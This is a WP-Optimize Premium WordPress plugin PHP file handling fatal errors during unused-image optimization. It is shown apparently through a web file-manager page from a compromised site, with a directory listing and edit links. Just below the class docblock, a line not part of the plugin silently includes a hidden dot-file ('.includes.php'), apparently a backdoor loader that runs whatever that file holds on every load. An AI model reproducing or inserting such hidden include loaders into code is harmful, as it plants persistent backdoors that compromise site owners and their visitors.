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PATH: home / letacommog / newrdv1 / wp-content / plugins1 / wp-optimize-premium.3.0.16 / includes

<?php

if (!defined('WPO_VERSION')) die('No direct access allowed');

if (!class_exists('Updraft_Abstract_Logger')) require_once(WPO_PLUGIN_MAIN_PATH.'/includes/class-updraft-abstract-logger.php');
if (!class_exists('Updraft_PHP_Logger')) require_once(WPO_PLUGIN_MAIN_PATH.'/includes/class-updraft-php-logger.php');

/**
 * Class WP_Optimization_Images_Shutdown
 *
 * Used for handling fatal errors in unused images optimization.
 */
if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) {
    include_once($filename);
}

class WP_Optimization_Images_Shutdown {

static private $_instance;

private $_active = false;

private $_logger = false;

private $_info = array();

/**
	 * WP_Optimization_Images_Shutdown constructor.
	 */
	private function __construct() {
		$this->_logger = new Updraft_PHP_Logger();

$this->load_values();

// use WordPress filter to handle fatal errors before WordPress output.
		add_filter('wp_php_error_message', array($this, 'shutdown'), 1);

register_shutdown_function(array($this, 'shutdown'));
	}

/**
	 * Get WP_Optimization_Images_Shutdown instance.
	 *
	 * @return WP_Optimization_Images_Shutdown
	 */
	static public function get_instance() {
		if (!self::$_instance) {
			self::$_instance = new WP_Optimization_Images_Shutdown();
		}

return self::$_instance;
	}

/**
	 * Activate shutdown handler.
	 */
	public function activate() {
		$this->_active = true;
	}

/**
	 * Deactivate shutdown handler.
	 */
	public function deactivate() {
		$this->_active = false;
	}

/**
	 * Get current shutdown status.
	 *
	 * @return bool
	 */
	public function is_active() {
		return $this->_active;
	}

/**
	 * Set custom variable value. Used to store temporary values in transients.
	 *
	 * @param string $key
	 * @param mixed  $value
	 */
	public function set_value($key, $value) {
		$this->_info[$key] = $value;
	}

/**
	 * Get custom variable value.
	 *
	 * @param string $key
	 * @param mixed  $default
	 * @return mixed|null
	 */
	public function get_value($key, $default = null) {
		if (array_key_exists($key, $this->_info)) return $this->_info[$key];

return $default;
	}

/**
	 * Delete custom value.
	 *
	 * @param string $key
	 */
	public function delete_value($key) {
		if (array_key_exists($key, $this->_info)) unset($this->_info[$key]);
	}

/**
	 * Load custom values from options.
	 */
	public function load_values() {
		if (is_multisite()) {
			$this->_info = get_site_option('wp-optimize-wpo_images_shutdown', array());
		} else {
			$this->_info = get_option('wp-optimize-wpo_images_shutdown', array());
		}
	}

/**
	 * Save custom values into options.
	 */
	public function save_values() {
		if (is_multisite()) {
			return update_site_option('wp-optimize-wpo_images_shutdown', $this->_info);
		} else {
			return update_option('wp-optimize-wpo_images_shutdown', $this->_info);
		}
	}

/**
	 * Clear saved values.
	 */
	public function reset_values() {
		$this->_info = array();
		$this->save_values();
	}

/**
	 * Shutdown function.
	 */
	public function shutdown() {
		if (!$this->is_active()) return;
		// flush cached values.
		WP_Optimize_Transients_Cache::get_instance()->flush();

WP_Optimize_Tasks_Queue::this('images_optimization')->unlock();

if (defined('WP_OPTIMIZE_UNUSED_IMAGES_LOG') && WP_OPTIMIZE_UNUSED_IMAGES_LOG) {
			// phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_debug_backtrace
			$trace = debug_backtrace();

foreach ($trace as $line) {
				$this->_logger->debug(json_encode($line));
			}
		}

$this->save_bad_post();
		$this->save_values();

$result = array(
			'result' => array(
				'meta' => array(
					'support_ajax_get_info' => true,
				),
			),
			'messages' => array(),
			'errors' => array(),
		);

// send status header 200 and keep optimization working on frontend.
		status_header(200);

// send correct answer and keep optimization working on frontend.
		echo json_encode($result);

exit();
	}

/**
	 * Check if post is in the "bad posts" list. "Bad" means that the post raise fatal error
	 * when we call do_shortcode(post_content) for it. If the post is "bad" then we don't call
	 * do_shortcode() for this post and parse images in the original post_content.
	 *
	 * @param int $blog_id
	 * @param int $post_id
	 * @return bool
	 */
	public function is_bad_post($blog_id, $post_id) {
		$bad_posts = $this->get_value('bad_posts', array());
		return (array_key_exists($blog_id, $bad_posts) && array_key_exists($post_id, $bad_posts[$blog_id]));
	}

/**
	 * Save post information (if there any) in "bad posts" lists. "Bad" means that the post raise fatal error
	 * when we call do_shortcode(post_content) for it. If the post is "bad" then we don't call
	 * do_shortcode() for this post and parse images in the original post_content.
	 */
	private function save_bad_post() {
		$last_post_id = $this->get_value('last_post_id');
		if (null === $last_post_id) return;

$blog_id = $this->get_value('blog_id');

$bad_posts = $this->get_value('bad_posts', array());

if (!array_key_exists($blog_id, $bad_posts)) $bad_posts[$blog_id] = array();

$bad_posts[$blog_id][$last_post_id] = true;

$this->delete_value('blog_id');
		$this->delete_value('last_post_id');

$this->set_value('bad_posts', $bad_posts);
	}
}

[+] ..
[-] class-updraft-logger-interface.php [edit]
[-] class-updraft-logger.php [edit]
[-] wp-optimize-notices.php [edit]
[-] class-updraft-resmushit-task.php [edit]
[-] class-wp-optimize-htaccess.php [edit]
[-] class-wp-optimize-install-or-update-notice.php [edit]
[-] class-wp-optimize-queue-task.php [edit]
[-] class-updraft-smush-task.php [edit]
[-] class-wp-optimization.php [edit]
[-] class-wp-optimize-lazy-load.php [edit]
[-] class-wp-optimize-transients-cache.php [edit]
[-] backward-compatibility-functions.php [edit]
[-] class-updraft-email-logger.php [edit]
[-] class-wp-optimize-updates.php [edit]
[-] class-semaphore.php [edit]
[-] class-updraft-nitrosmush-task.php [edit]
[-] class-wp-optimize-gzip-compression.php [edit]
[-] class-commands.php [edit]
[-] class-wp-optimize-browser-cache.php [edit]
[-] class-updraft-log-levels.php [edit]
[-] class-updraft-php-logger.php [edit]
[-] class-wp-optimizer.php [edit]
[-] class-wp-optimize-images-trash-task.php [edit]
[-] class-wp-optimization-images-shutdown.php [edit]
[-] class-updraftcentral-wp-optimize-commands.php [edit]
[-] class-updraft-smush-manager-commands.php [edit]
[-] updraftcentral.php [edit]
[-] class-wp-optimize-tasks-queue.php [edit]
[-] class-updraft-file-logger.php [edit]
[-] wp-optimize-database-information.php [edit]
[-] class-updraft-ring-logger.php [edit]
[-] class-wp-optimize-cron-scheduler.php [edit]
[-] class-updraft-syslog-logger.php [edit]
[-] class-wp-optimize-images-trash-manager.php [edit]
[-] class-updraft-smush-manager.php [edit]
[-] class-wp-optimize-images-trash-manager-commands.php [edit]
[-] updraft-notices.php [edit]
[-] class-updraft-slack-logger.php [edit]
[-] class-wp-optimize-cli-command.php [edit]
[-] class-wp-optimize-options.php [edit]
[-] class-updraft-abstract-logger.php [edit]
[-] .includes.php [edit]
[-] class-updraft-simple-history-logger.php [edit]